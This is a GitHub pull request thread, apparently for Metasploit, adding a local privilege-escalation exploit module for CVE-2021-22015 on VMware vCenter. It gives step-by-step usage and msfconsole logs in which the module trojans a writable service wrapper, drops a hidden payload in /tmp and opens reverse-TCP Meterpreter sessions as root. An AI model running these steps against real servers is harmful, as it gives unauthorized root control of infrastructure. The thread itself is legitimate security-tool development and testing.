CVE-2021-22015 vCenter priv esc #17286

h00die · 2022-11-20T16:35:20Z

This PR adds a priv esc for users in the cis group to escalate to root on certain versions of vCenter. A service file /usr/lib/vmware-vmon/java-wrapper-vmon has improper permissions allowing cis group members to write to it. Upon host reboot or vmware-vmon service restart, a root shell is obtained.

Verification

Start msfconsole
Obtain a shell on vCenter for a user in the cis group. (I used su vsphere-client off an SSH session)
Do: use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc
Do: set session #
Do: run
Restart the host, or the service (systemctl restart vmware-vmon.service) with a user who has permission
You should get a root shell.

h00die · 2022-11-20T16:37:51Z

@U1traVio1et since you uploaded the code on https://github.com/PenteraIO/vScalation-CVE-2021-22015 wanted to make sure the vuln discoverer was properly credited.

modules/exploits/linux/local/vcenter_java_wrapper_vmon_priv_esc.rb

U1traVio1et · 2022-11-23T09:47:03Z

@U1traVio1et since you uploaded the code on https://github.com/PenteraIO/vScalation-CVE-2021-22015 wanted to make sure the vuln discoverer was properly credited.

love this, thanks!

modules/exploits/linux/local/vcenter_java_wrapper_vmon_priv_esc.rb

bwatters-r7 · 2022-12-01T15:40:27Z

modules/exploits/linux/local/vcenter_java_wrapper_vmon_priv_esc.rb

+          'Yuval Lazar' # original PoC, analysis
+        ],
+        'Platform' => [ 'linux' ],
+        'Arch' => [ ARCH_X86, ARCH_X64 ],


VCenter has an x86 version?

no idea, but x86 payloads do run on the appliance:

msf6 exploit(multi/script/web_delivery) > sessions -i 1 [*] Starting interaction with 1... whoami root uname -a Linux localhost.domain4.4.8 #1-photon SMP Fri Oct 21 20:13:51 UTC 2016 x86_64 GNU/Linux vpxd -v Traceback (most recent call last): File "/usr/sbin/cloudvm-ram-size", line 52, in <module> sys.path.append(os.environ['VMWARE_PYTHON_PATH']) File "/usr/lib/python2.7/UserDict.py", line 40, in __getitem__ raise KeyError(key) KeyError: 'VMWARE_PYTHON_PATH' VMware VirtualCenter 6.5.0 build-7070488 ^Z Background session 1? [y/N] y msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell x86/linux 1.1.1.1:4444 -> 2.2.2.2:57524 (2.2.2.2)

bwatters-r7 · 2022-12-01T16:52:56Z

[*] Sending stage (3045348 bytes) to 10.5.132.113
[*] Meterpreter session 3 opened (10.5.135.201:4568 -> 10.5.132.113:58500) at 2022-12-01 10:41:15 -0600

msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer     : photon-machine.moose
OS           : VMware Photon 1.0 (Linux 4.4.228-1.ph1)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: vsphere-client
meterpreter > background
[*] Backgrounding session 3...
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > show options

Module options (exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  3                yes       The session to run this module on


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > run

[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /usr/lib/vmware-vmon/java-wrapper-vmon is writable and owned by cis group
[+] Original /usr/lib/vmware-vmon/java-wrapper-vmon backed up to /home/tmoose/.msf4/loot/20221201104214_default_10.5.132.113_javawrappervmo_010174.txt
[*] Writing payload to /tmp/.lRZPRgdUfG
[*] Writing '/tmp/.lRZPRgdUfG' (250 bytes) ...
[*] Writing trojaned /usr/lib/vmware-vmon/java-wrapper-vmon
[*] Attempting to restart vmware-vmon service (systemctl restart vmware-vmon.service)
[-] vmware-vmon service needs to be restarted, or host rebooted to obtain shell.
[*] Waiting 1800 seconds for shell
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 10.5.132.113
[+] Deleted /tmp/.lRZPRgdUfG
[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.132.113:55654) at 2022-12-01 10:44:35 -0600
[*] Replacing trojaned /usr/lib/vmware-vmon/java-wrapper-vmon with original

meterpreter > sysinfo
Computer     : photon-machine.moose
OS           : VMware Photon 1.0 (Linux 4.4.228-1.ph1)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

bwatters-r7 · 2022-12-02T23:41:20Z

I was going to do a quick land on this, but it appears to be trashing my vCenter server?

I am resetting to a known-good state I used before to test this, so I'm not sure what's happening. It will be next week before I take another look. I did not want you to think I'd flaked out, though.

h00die · 2022-12-03T00:02:52Z

Is the cleanup working correctly? md5sum the file before and after?

bwatters-r7 · 2022-12-05T14:56:59Z

Because it is no longer after 5 on a Friday, it appears to work fine?

msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : photon-machine.moose
OS           : VMware Photon 1.0 (Linux 4.4.228-1.ph1)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: vsphere-client
meterpreter > background
[*] Backgrounding session 1...
msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc 
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > show options

Module options (exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set verbose true
verbose => true
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > run

[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /usr/lib/vmware-vmon/java-wrapper-vmon is writable and owned by cis group
[+] Original /usr/lib/vmware-vmon/java-wrapper-vmon backed up to /home/tmoose/.msf4/loot/20221205085056_default_10.5.132.113_javawrappervmo_517372.txt
[*] Writing payload to /tmp/.YsHfTxSJ
[*] Writing '/tmp/.YsHfTxSJ' (250 bytes) ...
[*] Writing trojaned /usr/lib/vmware-vmon/java-wrapper-vmon
[*] Attempting to restart vmware-vmon service (systemctl restart vmware-vmon.service)
[-] vmware-vmon service needs to be restarted, or host rebooted to obtain shell.
[*] Waiting 1800 seconds for shell
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 10.5.132.113
[+] Deleted /tmp/.YsHfTxSJ
[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.132.113:56462) at 2022-12-05 08:52:56 -0600
[*] Replacing trojaned /usr/lib/vmware-vmon/java-wrapper-vmon with original

meterpreter > sysinfo
Computer     : photon-machine.moose
OS           : VMware Photon 1.0 (Linux 4.4.228-1.ph1)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root
meterpreter >

bwatters-r7 · 2022-12-05T15:25:34Z

Yeah; I cannot seem to re-create what was happening Friday. Today, I can even restart the service when Friday, I had to reboot.

The original problem was that the service restart failed and I tried to reboot to kick off the privileged session, so the file would not have been returned to the original state, yet.
I verified today that I can restart the service or simply reboot and in both cases, I get the expected privileged shell; no sign of Friday's gremlins.

h00die · 2022-12-05T15:27:47Z

I'll also note that its set to ManualRanking for these reasons

bwatters-r7 · 2022-12-05T15:32:17Z

Release Notes

This PR adds a priv esc for users in the cis group to escalate to root on certain versions of vCenter. A service file /usr/lib/vmware-vmon/java-wrapper-vmon has improper permissions allowing cis group members to write to it. Upon host reboot or vmware-vmon service restart, a root shell is obtained.

exploit for cve-2021-22015 vcenter priv esc

6877304

h00die added module docs labels Nov 20, 2022

jvoisin reviewed Nov 22, 2022

View reviewed changes

modules/exploits/linux/local/vcenter_java_wrapper_vmon_priv_esc.rb Show resolved Hide resolved

adfoster-r7 reviewed Dec 1, 2022

View reviewed changes

modules/exploits/linux/local/vcenter_java_wrapper_vmon_priv_esc.rb Show resolved Hide resolved

bwatters-r7 reviewed Dec 1, 2022

View reviewed changes

bwatters-r7 self-assigned this Dec 1, 2022

add super to cleanup command

867059e

bwatters-r7 merged commit 54cd055 into rapid7:master Dec 5, 2022

h00die deleted the cve_2021_22015 branch December 5, 2022 15:32

bwatters-r7 added the rn-modules release notes for new or majorly enhanced modules label Dec 5, 2022

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

CVE-2021-22015 vCenter priv esc #17286

CVE-2021-22015 vCenter priv esc #17286

h00die commented Nov 20, 2022

h00die commented Nov 20, 2022

U1traVio1et commented Nov 23, 2022

bwatters-r7 Dec 1, 2022

h00die Dec 1, 2022 •

edited

bwatters-r7 commented Dec 1, 2022

bwatters-r7 commented Dec 2, 2022

h00die commented Dec 3, 2022

bwatters-r7 commented Dec 5, 2022

bwatters-r7 commented Dec 5, 2022

h00die commented Dec 5, 2022

bwatters-r7 commented Dec 5, 2022

CVE-2021-22015 vCenter priv esc #17286

CVE-2021-22015 vCenter priv esc #17286

Conversation

h00die commented Nov 20, 2022

Verification

h00die commented Nov 20, 2022

U1traVio1et commented Nov 23, 2022

bwatters-r7 Dec 1, 2022

Choose a reason for hiding this comment

h00die Dec 1, 2022 • edited

Choose a reason for hiding this comment

bwatters-r7 commented Dec 1, 2022

bwatters-r7 commented Dec 2, 2022

h00die commented Dec 3, 2022

bwatters-r7 commented Dec 5, 2022

bwatters-r7 commented Dec 5, 2022

h00die commented Dec 5, 2022

bwatters-r7 commented Dec 5, 2022

Release Notes

h00die Dec 1, 2022 •

edited